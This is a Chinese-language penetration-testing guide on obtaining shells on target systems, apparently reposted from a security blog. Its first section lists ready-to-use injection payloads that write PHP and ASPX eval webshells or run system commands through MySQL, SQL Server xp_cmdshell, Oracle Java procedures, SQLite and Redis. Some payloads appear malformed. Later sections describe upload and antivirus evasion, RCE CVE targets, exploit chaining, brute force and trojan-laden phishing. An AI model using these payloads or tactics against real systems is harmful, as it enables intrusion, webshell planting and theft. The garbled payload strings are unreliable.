滲透測試-Getshell總結


滲透測試-Getshell總結

無論是常規滲透測試還是攻防對抗,亦或黑灰產對抗、APT攻擊,getshell 是一個從內到外的里程碑成果。我們接下來總結下常見拿shell的一些思路和方法。文中可能有一些不足之處,還望大佬不吝賜教。

0x01 注入getshell

**一般前提條件:有權限、知道路徑 **

mysql
select 0x3c3f70687020a6576616c28245f504f53545b615d293ba3f3e into outfile '/var/www/html/1.php'

Sql server
存儲過程xp_cmdshell
;exec master..xp_cmdshell 'echo ^<%@ Page Language="Jscript"%^>^<%eval(Request.Item["pass"],"unsafe");%^> > D:\\WWW\\2333.aspx' ;--

Oracle
1、創建JAVA包
select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ''create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}}'';commit;end;') from dual;
2、JAVA權限
select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ''begin dbms_java.grant_permission( ''''SYSTEM'''', ''''SYS:java.io.FilePermission'''', ''''<<ALL FILES>>'''',''''EXECUTE'''');end;''commit;end;') from dual;
3、創建函數
select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ''create or replace function LinxRunCMD(p_cmd in varchar2) return varchar2 as language java name ''''LinxUtil.runCMD(java.lang.String) return String''''; '';commit;end;') from dual;
URL執行
id=602'||utl_inadd.get_host_name((select LinxRUNCMD('cmd /c dir d:/') from dual))--

postgresql
COPY (select '<?php phpinfo();?>') to '/tmp/1.php';

sqlite3
;attach database 'D:\\www\\008.php' as tt;create TABLE tt.exp (dataz text) ; insert INTO tt.exp (dataz) VALUES (x'3c3f70687020406576616c28245f504f53545b27636d64275d293b3f3e');

redis
%0D%0Aconfig%20set%20dir%20%2Fvar%2Fwww%2Fhtml2F%0D%0Aconfig%20set%20dbfilename%20shell%2Ephp%0D%0Aset%20x%2022%3C%3Fphp%20phpinfo%28%29%3B%%203F%3E%22%0D%0Asave%0D%0A

PS:oracle成功率受限於與數據庫版本以及注入點

當然注入不一定都能拿到webshell,比如站庫分離。但不管是否站庫分離,只要權限夠能夠執行系統命令,反彈cmdshell 也是不錯的選擇。比如sa權限結合xp_cmdshell 存儲過程,直接執行powershell,反彈到cobalt strike …

0x02 上傳 getwebshell

​ 上傳漏洞對於getshell 還是高頻的,無論是前台上傳點,還是后台(通過口令進入、或者XSS到后台、邏輯漏洞越權)上傳點,當然也有可能要結合一些Web Server的解析漏洞。但像IIS和apache解析漏洞因為太老,現在成功概率都小很多。
類似直接的上傳漏洞就可以getshell的漏洞,例如IIS PUT上傳、Tomcat PUT 上傳,因為落腳點最終都跟上傳有關系,這個就不單獨去枚舉。
還有一批像一些編輯器(FCK、editor、CKedtor…)存在上傳漏洞可以getshell。這一系列,一般是基於信息收集確定是否存在漏洞,然后進一步利用。(發現漏洞比利用漏洞更藝術)

​ 這個期間可能涉及邏輯繞過、WAF對抗、殺軟繞過、執行層,主要解決四點:

  • 代碼或邏輯問題,可以上傳腳本文件
  • 躲過WAF對腳本文件及上傳內容的校驗
  • 解決落地殺
  • 執行過程,躲過流量監控或者系統層監控
    同樣RCE 也需要關注以上后幾點,因為前面的入口場景不同。

0x03 RCE getshell

RCE是統稱,包括遠程代碼執行、遠程命令執行。當然這兩個概念還是有意思的,比如struts2漏洞有的叫命令執行有的叫代碼執行。這都不重要。一般根據觸發點來命名。
Java系的OGNL 表達式注入、EL注入、反序列化
PHP系列的eval 類、偽協議類 代碼執行、system類命令執行
當然反序列化漏洞基本上編程語言都有,除了漏洞利用getshell,用作免殺后門webshell也是一個不錯的思路推薦。
正由於代碼執行的部分結果是執行了系統命令,在命令執行的加持下,可以直接拿到應用或系統的shell,也是正統策略。
根據《2019年Web應用安全年度報告》,高頻系列27個漏洞漏洞(這些漏洞都值得深入分析及利用),大部分為遠程代碼執行,同時RCE系列,Java 組件也占比最大。

列表如下:

Harbor API SQL注入(CVE-2019-19026/CVE-2019-19029)
Thinkcmf任意內容包含遠程代碼執行
泛微E-cology OA數據庫配置信息泄漏
Fastjson遠程拒絕服務
GhostScript遠程代碼執行(CVE-2019-14811)
泛微E-cology OA系統遠程代碼執行
Apache Solr遠程代碼執行(CVE-2019-0193)
FasterXML jackson-databind遠程代碼執行(CVE-2019-14439)
FasterXML jackson-databind遠程代碼執行(CVE-2019-12384)
FasterXML jackson-databind遠程代碼執行(CVE-2019-14379)
Xstream遠程代碼執行(CVE-2019-10173)
致遠OA A8前台getshell
Apache axis遠程代碼執行
CoreMail未授權訪問接口參數注入
Weblogic遠程代碼執行(CVE-2019-2729)
Weblogic遠程代碼執行(CVE-2019-2725)
Confluence遠程代碼執行(CVE-2019-3398)
Confluence遠程代碼執行(CVE-2019-3396)
Ruby On Rails任意文件讀取(CVE-2019-5418)
Jenkins遠程代碼執行(CVE-2019-1003030)
ColdFusion遠程代碼執行(CVE-2019-7091)
Spring Boot Actuator遠程代碼執行
Drupal8 REST Module遠程代碼執行(CVE-2019-6340)
Jenkins遠程代碼執行(CVE-2019-1003000)
Apache Solr遠程代碼執行(CVE-2019-17558)
Fastjson遠程代碼執行
Jenkins遠程代碼執行(CVE-2019-1003000)

0x04 包含getwebshell

文件包含,常見JSP、ASPx、PHP 都有包含,但主要還是PHP的包含好用。因為可以包含任意路徑的任意后綴,能控制include類函數的輸入結合系統特性文件或者上傳的文件結合,可以拿到webshell。
JSP包含,默認情況下動態包含WEB路徑下的JSP文件(靜態包含可以包含任意后綴的文本文件,但不支持變量動態賦值暫不說明),2月份的CVE-2020-1938 Tomcat 文件包含漏洞,這個漏洞看上去是包含了任意格式的文件,但其實是因為AJP協議。

更多文件包含冷知識,參考 原貼

0x05 漏洞組合拳getshell

繞過既有認證+后台漏洞

  1. 口令猜測是門藝術活,進入后台多種漏洞的利用,包括前面提到的漏洞常見高危系列,還有一些備份還原、導入導出、 模板編輯等功能。
  2. 登錄邏輯繞過、越權類,搞定后台。進行典型漏洞利用
  3. 通過XSS釣到cookie,或者利用CSRF類漏洞“借刀殺人”搞到后台權限。進行典型漏洞利用。
    網站后台Getshell的方法總結

XXE

XXE漏洞,最理想的狀態就是直接可以代碼執行(類似PHP expert);大多數還是以文件讀取信息收集為主,結合源碼或者配置文件(例如/etc/shadow、tomcat-users.xml等)getshell;還可以通過XXE的SSRF進行隔山打牛式getshell。
當然對於漏洞挖掘來講,無論是xml格式還是json格式的POST數據包都值得多關注下。說不定就有驚喜呢。

SSRF + RCE

原理上SSRF可以結合所有RCE(反序列化、s2、mysql … ;github 搜索SSRFmap、ssrf_proxy)的漏洞進行組合利用,只是我們在平常實例角度用SSRF+redis未授權用的多一些。

任意文件讀取Getshell

正常的一般是通過讀取web.xml 獲取class文件,然后反編譯,找到代碼的一些漏洞。進而拿到系統的權限。當然還有文件讀取加文件上傳的曲折配合(任意文件讀取漏洞的曲折歷程

0x06 系統層getcmdshell

  1. 暴力破解的藝術,畢竟錘子開鎖和要是開鎖在入侵角度結果是一樣的。
  2. 常規協議:SSH、RDP、SMB、VPC、Redis 等中間件類
  3. 通過數據庫執行語句獲得了系統shell,對於獲取權限,比sql注入更直接。
  4. 設備層:VPN、防火牆,搞定這種邊界設備,單車變摩托。

0x07 釣魚 getcmdshell

發送釣魚郵件,捆綁的馬,訪問即加載、點擊即執行類的馬。
這一類攻擊一般結合社工,例如借用IT管理員發送或某領導的賬號去發送(所以這時候的郵箱的0day就灰常重要了,當然如果在郵箱內部找到類似VPN或者密碼表類,也不需要這么麻煩,一把梭…),可信度就高很多。對於紅隊來講,釣的魚兒還是以IT部門系列為主,普通辦公區的主機權限還需要做更多的工作。

0x08 紅隊shell競爭分析

  1. 拼信息收集,漏洞點,別人找不到,我找的到(例如移動端、物聯網等接口信息,當然這種shell,一般距離核心應用可能也遠一些);
  2. 拼利用速度,自動化一條龍(基本屬於日常漏洞和工程化的積累);
  3. 拼0day (VPN --- Mail --- OA --- java組件 --- CMS --- 關鍵設備 );
  4. 拼細節漏洞,組合利用。(這是一篇“不一樣”的真實滲透測試案例分析文章


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM